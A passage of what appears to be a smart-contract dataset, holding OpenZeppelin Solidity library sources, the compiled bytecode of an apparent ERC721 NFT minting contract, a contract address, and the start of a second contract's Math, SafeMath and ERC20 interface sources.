functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102715760003560e01c806355f804b31161014f57806395d89b41116100c1578063d5abeb011161007a578063d5abeb01146106fb578063da3ef23f14610711578063e985e9c514610731578063f1d5f5171461077a578063f2fde38b1461079a578063f6be71d1146107ba57600080fd5b806395d89b411461065b578063a22cb46514610670578063b138d50014610690578063b88d4fde146106a6578063c6682862146106c6578063c87b56dd146106db57600080fd5b806370a082311161011357806370a08231146105bc578063715018a6146105dc57806378e97925146105f15780638b8afcd7146106075780638da5cb5b14610627578063945ec9dd1461064557600080fd5b806355f804b31461052d5780635c975abb1461054d5780636352211e146105675780636c0360eb146105875780636f8b44b01461059c57600080fd5b8063239c70ae116101e85780633c8463a1116101ac5780633c8463a1146104825780633ccfd60b1461049857806340c10f19146104ad57806342842e0e146104c0578063438b6300146104e05780634f6ccce71461050d57600080fd5b8063239c70ae146103f657806323b872dd1461040c5780632598cdb21461042c5780632f745c591461044c57806337970be61461046c57600080fd5b8063088a4ed01161023a578063088a4ed01461034b578063095ea7b31461036b5780630f5fa1991461038b5780630fb5a6b4146103ab57806318160ddd146103c157806318af7611146103d657600080fd5b80620e7fa81461027657806301ffc9a71461029f57806302329a29146102cf57806306fdde03146102f1578063081812fc14610313575b600080fd5b34801561028257600080fd5b5061028c600d5481565b6040519081526020015b60405180910390f35b3480156102ab57600080fd5b506102bf6102ba366004612160565b6107da565b6040519015158152602001610296565b3480156102db57600080fd5b506102ef6102ea366004612192565b610805565b005b3480156102fd57600080fd5b5061030661084b565b6040516102969190612205565b34801561031f57600080fd5b5061033361032e366004612218565b6108dd565b6040516001600160a01b039091168152602001610296565b34801561035757600080fd5b506102ef610366366004612218565b610972565b34801561037757600080fd5b506102ef610386366004612248565b6109a1565b34801561039757600080fd5b506102ef6103a6366004612272565b610ab7565b3480156103b757600080fd5b5061028c60165481565b3480156103cd57600080fd5b5060085461028c565b3480156103e257600080fd5b50601454610333906001600160a01b031681565b34801561040257600080fd5b5061028c60115481565b34801561041857600080fd5b506102ef610427366004612294565b610aec565b34801561043857600080fd5b50601554610333906001600160a01b031681565b34801561045857600080fd5b5061028c610467366004612248565b610b1d565b34801561047857600080fd5b5061028c60175481565b34801561048e57600080fd5b5061028c60135481565b3480156104a457600080fd5b506102ef610bb3565b6102ef6104bb366004612248565b610c8c565b3480156104cc57600080fd5b506102ef6104db366004612294565b610f67565b3480156104ec57600080fd5b506105006104fb3660046122d0565b610f82565b60405161029691906122eb565b34801561051957600080fd5b5061028c610528366004612218565b611024565b34801561053957600080fd5b506102ef6105483660046123bb565b6110b7565b34801561055957600080fd5b506012546102bf9060ff1681565b34801561057357600080fd5b50610333610582366004612218565b6110f8565b34801561059357600080fd5b5061030661116f565b3480156105a857600080fd5b506102ef6105b7366004612218565b6111fd565b3480156105c857600080fd5b5061028c6105d73660046122d0565b61122c565b3480156105e857600080fd5b506102ef6112b3565b3480156105fd57600080fd5b5061028c60185481565b34801561061357600080fd5b506102ef610622366004612248565b6112e7565b34801561063357600080fd5b50600a546001600160a01b0316610333565b34801561065157600080fd5b5061028c600f5481565b34801561066757600080fd5b5061030661137a565b34801561067c57600080fd5b506102ef61068b366004612404565b611389565b34801561069c57600080fd5b5061028c600e5481565b3480156106b257600080fd5b506102ef6106c1366004612437565b611394565b3480156106d257600080fd5b506103066113cc565b3480156106e757600080fd5b506103066106f6366004612218565b6113d9565b34801561070757600080fd5b5061028c60105481565b34801561071d57600080fd5b506102ef61072c3660046123bb565b6114be565b34801561073d57600080fd5b506102bf61074c3660046124b3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561078657600080fd5b506102ef610795366004612218565b6114fb565b3480156107a657600080fd5b506102ef6107b53660046122d0565b61152a565b3480156107c657600080fd5b506102ef6107d5366004612218565b6115c5565b60006001600160e01b0319821663780e9d6360e01b14806107ff57506107ff82611613565b92915050565b600a546001600160a01b031633146108385760405162461bcd60e51b815260040161082f906124dd565b60405180910390fd5b6012805460ff1916911515919091179055565b60606000805461085a90612512565b80601f016020809104026020016040519081016040528092919081815260200182805461088690612512565b80156108d35780601f106108a8576101008083540402835291602001916108d3565b820191906000526020600020905b8154815290600101906020018083116108b657829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109565760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161082f565b506000908152600460205260409020546001600160a01b031690565b600a546001600160a01b0316331461099c5760405162461bcd60e51b815260040161082f906124dd565b601155565b60006109ac826110f8565b9050806001600160a01b0316836001600160a01b03161415610a1a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161082f565b336001600160a01b0382161480610a365750610a36813361074c565b610aa85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161082f565b610ab28383611663565b505050565b600a546001600160a01b03163314610ae15760405162461bcd60e51b815260040161082f906124dd565b601191909155601355565b610af633826116d1565b610b125760405162461bcd60e51b815260040161082f9061254d565b610ab28383836117c8565b6000610b288361122c565b8210610b8a5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161082f565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6017544211610bee5760405162461bcd60e51b8152602060048201526007602482015266139bdd0816595d60ca1b604482015260640161082f565b6014546001600160a01b0316331415610c3c57336108fc6064610c126050476125b4565b610c1c91906125e9565b6040518115909202916000818181858888f19350505050610c3c57600080fd5b6015546001600160a01b0316331415610c8a57336108fc6064610c606014476125b4565b610c6a91906125e9565b6040518115909202916000818181858888f19350505050610c8a57600080fd5b565b6000610c9760085490565b60125490915060ff1615610cdc5760405162461bcd60e51b815260206004820152600c60248201526b26b4b73a102830bab9b2b21760a11b604482015260640161082f565b60008211610d2c5760405162461bcd60e51b815260206004820152601860248201527f596f752063616e2774206d696e74207a65726f204e46542e0000000000000000604482015260640161082f565b601154821115610d985760405162461bcd60e51b815260206004820152603160248201527f596f752063616e2774206d696e74206d6f7265207468656e204d6178204d696e6044820152703a1020b6b7bab73a1030ba1037b731b29760791b606482015260840161082f565b601054610da583836125fd565b1115610df35760405162461bcd60e51b815260206004820152601960248201527f596f752063616e2774206d696e74206d6f7265207468656e2000000000000000604482015260640161082f565b60135482610e003361122c565b610e0a91906125fd565b1115610e585760405162461bcd60e51b815260206004820152601860248201527f57616c6c6574206c696d697420697320726561636865642e0000000000000000604482015260640161082f565b600e54600090610e6884846125fd565b11610e7e5782600d54610e7b91906125b4565b90505b600e5482108015610e995750600e54610e9784846125fd565b115b15610eea57600e54610eab84846125fd565b610eb59190612615565b600f54610ec291906125b4565b82600e54610ed09190612615565b600d54610edd91906125b4565b610ee791906125fd565b90505b600e548210610f045782600f54610f0191906125b4565b90505b80341015610f118261196f565b90610f2f5760405162461bcd60e51b815260040161082f9190612205565b5060005b83811015610f6057610f4e85610f4983866125fd565b611a6d565b80610f588161262c565b915050610f33565b5050505050565b610ab283838360405180602001604052806000815250611394565b60606000610f8f8361122c565b905060008167ffffffffffffffff811115610fac57610fac61232f565b604051908082528060200260200182016040528015610fd5578160200160208202803683370190505b50905060005b8281101561101c57610fed8582610b1d565b828281518110610fff57610fff612647565b6020908102919091010152806110148161262c565b915050610fdb565b509392505050565b600061102f60085490565b82106110925760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161082f565b600882815481106110a5576110a5612647565b90600052602060002001549050919050565b600a546001600160a01b031633146110e15760405162461bcd60e51b815260040161082f906124dd565b80516110f490600b9060208401906120b1565b5050565b6000818152600260205260408120546001600160a01b0316806107ff5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161082f565b600b805461117c90612512565b80601f01602080910402602001604051908101604052809291908181526020018280546111a890612512565b80156111f55780601f106111ca576101008083540402835291602001916111f5565b820191906000526020600020905b8154815290600101906020018083116111d857829003601f168201915b505050505081565b600a546001600160a01b031633146112275760405162461bcd60e51b815260040161082f906124dd565b601055565b60006001600160a01b0382166112975760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161082f565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146112dd5760405162461bcd60e51b815260040161082f906124dd565b610c8a6000611a87565b60175442116113225760405162461bcd60e51b8152602060048201526007602482015266139bdd0816595d60ca1b604482015260640161082f565b600a546001600160a01b0316331461134c5760405162461bcd60e51b815260040161082f906124dd565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050506110f457600080fd5b60606001805461085a90612512565b6110f4338383611ad9565b61139e33836116d1565b6113ba5760405162461bcd60e51b815260040161082f9061254d565b6113c684848484611ba8565b50505050565b600c805461117c90612512565b6000818152600260205260409020546060906001600160a01b031661145f5760405162461bcd60e51b815260206004820152603660248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f6044820152751b995e1a5cdd195b9d08109bdbc810dc995dc813919560521b606482015260840161082f565b6000611469611bdb565b9050600081511161148957604051806020016040528060008152506114b7565b806114938461196f565b600c6040516020016114a79392919061265d565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146114e85760405162461bcd60e51b815260040161082f906124dd565b80516110f490600c9060208401906120b1565b600a546001600160a01b031633146115255760405162461bcd60e51b815260040161082f906124dd565b601355565b600a546001600160a01b031633146115545760405162461bcd60e51b815260040161082f906124dd565b6001600160a01b0381166115b95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082f565b6115c281611a87565b50565b600a546001600160a01b031633146115ef5760405162461bcd60e51b815260040161082f906124dd565b6115fb816102586125b4565b601681905560185461160d91906125fd565b60175550565b60006001600160e01b031982166380ac58cd60e01b148061164457506001600160e01b03198216635b5e139f60e01b145b806107ff57506301ffc9a760e01b6001600160e01b03198316146107ff565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611698826110f8565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b031661174a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161082f565b6000611755836110f8565b9050806001600160a01b0316846001600160a01b031614806117905750836001600160a01b0316611785846108dd565b6001600160a01b0316145b806117c057506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166117db826110f8565b6001600160a01b03161461183f5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b606482015260840161082f565b6001600160a01b0382166118a15760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161082f565b6118ac838383611bea565b6118b7600082611663565b6001600160a01b03831660009081526003602052604081208054600192906118e0908490612615565b90915550506001600160a01b038216600090815260036020526040812080546001929061190e9084906125fd565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6060816119935750506040805180820190915260018152600360fc1b602082015290565b8160005b81156119bd57806119a78161262c565b91506119b69050600a836125e9565b9150611997565b60008167ffffffffffffffff8111156119d8576119d861232f565b6040519080825280601f01601f191660200182016040528015611a02576020820181803683370190505b5090505b84156117c057611a17600183612615565b9150611a24600a86612721565b611a2f9060306125fd565b60f81b818381518110611a4457611a44612647565b60200101906001600160f81b031916908160001a905350611a66600a866125e9565b9450611a06565b6110f4828260405180602001604052806000815250611ca2565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415611b3b5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161082f565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611bb38484846117c8565b611bbf84848484611cd5565b6113c65760405162461bcd60e51b815260040161082f90612735565b6060600b805461085a90612512565b6001600160a01b038316611c4557611c4081600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611c68565b816001600160a01b0316836001600160a01b031614611c6857611c688382611dd3565b6001600160a01b038216611c7f57610ab281611e70565b826001600160a01b0316826001600160a01b031614610ab257610ab28282611f1f565b611cac8383611f63565b611cb96000848484611cd5565b610ab25760405162461bcd60e51b815260040161082f90612735565b60006001600160a01b0384163b15611dc857604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611d19903390899088908890600401612787565b6020604051808303816000875af1925050508015611d54575060408051601f3d908101601f19168201909252611d51918101906127c4565b60015b611dae573d808015611d82576040519150601f19603f3d011682016040523d82523d6000602084013e611d87565b606091505b508051611da65760405162461bcd60e51b815260040161082f90612735565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506117c0565b506001949350505050565b60006001611de08461122c565b611dea9190612615565b600083815260076020526040902054909150808214611e3d576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611e8290600190612615565b60008381526009602052604081205460088054939450909284908110611eaa57611eaa612647565b906000526020600020015490508060088381548110611ecb57611ecb612647565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611f0357611f036127e1565b6001900381819060005260206000200160009055905550505050565b6000611f2a8361122c565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611fb95760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161082f565b6000818152600260205260409020546001600160a01b03161561201e5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161082f565b61202a60008383611bea565b6001600160a01b03821660009081526003602052604081208054600192906120539084906125fd565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546120bd90612512565b90600052602060002090601f0160209004810192826120df5760008555612125565b82601f106120f857805160ff1916838001178555612125565b82800160010185558215612125579182015b8281111561212557825182559160200191906001019061210a565b50612131929150612135565b5090565b5b808211156121315760008155600101612136565b6001600160e01b0319811681146115c257600080fd5b60006020828403121561217257600080fd5b81356114b78161214a565b8035801515811461218d57600080fd5b919050565b6000602082840312156121a457600080fd5b6114b78261217d565b60005b838110156121c85781810151838201526020016121b0565b838111156113c65750506000910152565b600081518084526121f18160208601602086016121ad565b601f01601f19169290920160200192915050565b6020815260006114b760208301846121d9565b60006020828403121561222a57600080fd5b5035919050565b80356001600160a01b038116811461218d57600080fd5b6000806040838503121561225b57600080fd5b61226483612231565b946020939093013593505050565b6000806040838503121561228557600080fd5b50508035926020909101359150565b6000806000606084860312156122a957600080fd5b6122b284612231565b92506122c060208501612231565b9150604084013590509250925092565b6000602082840312156122e257600080fd5b6114b782612231565b6020808252825182820181905260009190848201906040850190845b8181101561232357835183529284019291840191600101612307565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156123605761236061232f565b604051601f8501601f19908116603f011681019082821181831017156123885761238861232f565b816040528093508581528686860111156123a157600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156123cd57600080fd5b813567ffffffffffffffff8111156123e457600080fd5b8201601f810184136123f557600080fd5b6117c084823560208401612345565b6000806040838503121561241757600080fd5b61242083612231565b915061242e6020840161217d565b90509250929050565b6000806000806080858703121561244d57600080fd5b61245685612231565b935061246460208601612231565b925060408501359150606085013567ffffffffffffffff81111561248757600080fd5b8501601f8101871361249857600080fd5b6124a787823560208401612345565b91505092959194509250565b600080604083850312156124c657600080fd5b6124cf83612231565b915061242e60208401612231565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061252657607f821691505b6020821081141561254757634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156125ce576125ce61259e565b500290565b634e487b7160e01b600052601260045260246000fd5b6000826125f8576125f86125d3565b500490565b600082198211156126105761261061259e565b500190565b6000828210156126275761262761259e565b500390565b60006000198214156126405761264061259e565b5060010190565b634e487b7160e01b600052603260045260246000fd5b6000845160206126708285838a016121ad565b8551918401916126838184848a016121ad565b8554920191600090600181811c90808316806126a057607f831692505b8583108114156126be57634e487b7160e01b85526022600452602485fd5b8080156126d257600181146126e357612710565b60ff19851688528388019550612710565b60008b81526020902060005b858110156127085781548a8201529084019088016126ef565b505083880195505b50939b9a5050505050505050505050565b600082612730576127306125d3565b500690565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906127ba908301846121d9565b9695505050505050565b6000602082840312156127d657600080fd5b81516114b78161214a565b634e487b7160e01b600052603160045260246000fdfea264697066735822122024b8626e64c4950c76ff94a5acfc7d7495a012bb20ec108200cb9b156cc2d03264736f6c634300080c0033
[ 5, 12 ]
0xF369cA58dA9A36A3C2c574ce4016bF3C6B56AF27
// File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, 